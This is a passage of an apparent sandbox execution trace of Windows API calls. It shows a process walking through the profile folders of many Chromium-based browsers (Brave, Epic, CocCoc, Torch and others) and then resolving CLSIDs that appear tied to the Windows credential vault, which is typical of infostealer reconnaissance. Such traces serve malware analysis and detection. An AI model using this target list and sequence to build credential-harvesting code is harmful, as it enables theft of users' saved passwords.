nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.648] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.648] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.649] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x6c1d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x46 [0057.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0xffffffff [0057.649] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0 [0057.649] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.649] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x6c1d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x40 [0057.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0xffffffff [0057.649] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0 [0057.649] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.649] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x6c1d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x4c [0057.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0xffffffff [0057.649] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0 [0057.649] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.649] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x6c1d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\") returned 0x35 [0057.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0xffffffff [0057.649] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0 [0057.649] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.649] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x6c1d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x46 [0057.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0xffffffff [0057.650] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0 [0057.650] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.650] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x6c1d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x43 [0057.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0xffffffff [0057.650] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᵄl䃭@\x05")) returned 0 [0057.650] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.650] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x6c3d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x43 [0057.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0xffffffff [0057.650] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0 [0057.650] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.650] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x6c3d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x48 [0057.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0xffffffff [0057.650] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0 [0057.650] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.650] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x6c3d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\") returned 0x3c [0057.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0xffffffff [0057.651] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0 [0057.651] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.651] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x6c3d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\") returned 0x3d [0057.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0xffffffff [0057.651] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0 [0057.651] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.651] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x6c3d44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x59 [0057.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0xffffffff [0057.651] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㵄l䃭@\x05")) returned 0 [0057.651] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.651] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x6c3e3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x48 [0057.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㸼l䃭@\x05")) returned 0xffffffff [0057.651] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㸼l䃭@\x05")) returned 0 [0057.651] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.651] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x6c3e3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\") returned 0x41 [0057.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㸼l䃭@\x05")) returned 0xffffffff [0057.652] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㸼l䃭@\x05")) returned 0 [0057.652] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.652] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x6c3e3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\") returned 0x3e [0057.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㸼l䃭@\x05")) returned 0xffffffff [0057.652] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㸼l䃭@\x05")) returned 0 [0057.652] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.652] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x6c3e3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\") returned 0x3d [0057.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㸼l䃭@\x05")) returned 0xffffffff [0057.652] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㸼l䃭@\x05")) returned 0 [0057.652] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.652] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0057.652] GetProcAddress (hModule=0x755e0000, lpProcName="CLSIDFromString") returned 0x755fe599 [0057.652] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3782d8c, cbMultiByte=38, lpWideCharStr=0x18d5a8, cchWideChar=2047 | out: lpWideCharStr="{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\x03") returned 38 [0057.653] CLSIDFromString (in: lpsz="{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}", pclsid=0x18e618 | out: pclsid=0x18e618*(Data1=0x4bf4c442, Data2=0x9b8a, Data3=0x41a0, Data4=([0]=0xb3, [1]=0x80, [2]=0xdd, [3]=0x4a, [4]=0x70, [5]=0x4d, [6]=0xdb, [7]=0x28))) returned 0x0 [0057.653] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3782dc0, cbMultiByte=38, lpWideCharStr=0x18d5a8, cchWideChar=2047 | out: lpWideCharStr="{3CCD5499-87A8-4B10-A215-608888DD3B55}\x03") returned 38 [0057.653] CLSIDFromString (in: lpsz="{3CCD5499-87A8-4B10-A215-608888DD3B55}", pclsid=0x18e608 | out: pclsid=0x18e608*(Data1=0x3ccd5499, Data2=0x87a8, Data3=0x4b10, Data4=([0]=0xa2, [1]=0x15, [2]=0x60, [3]=0x88, [4]=0x88, [5]=0xdd, [6]=0x3b, [7]=0x55))) returned 0x0 [0057.653] 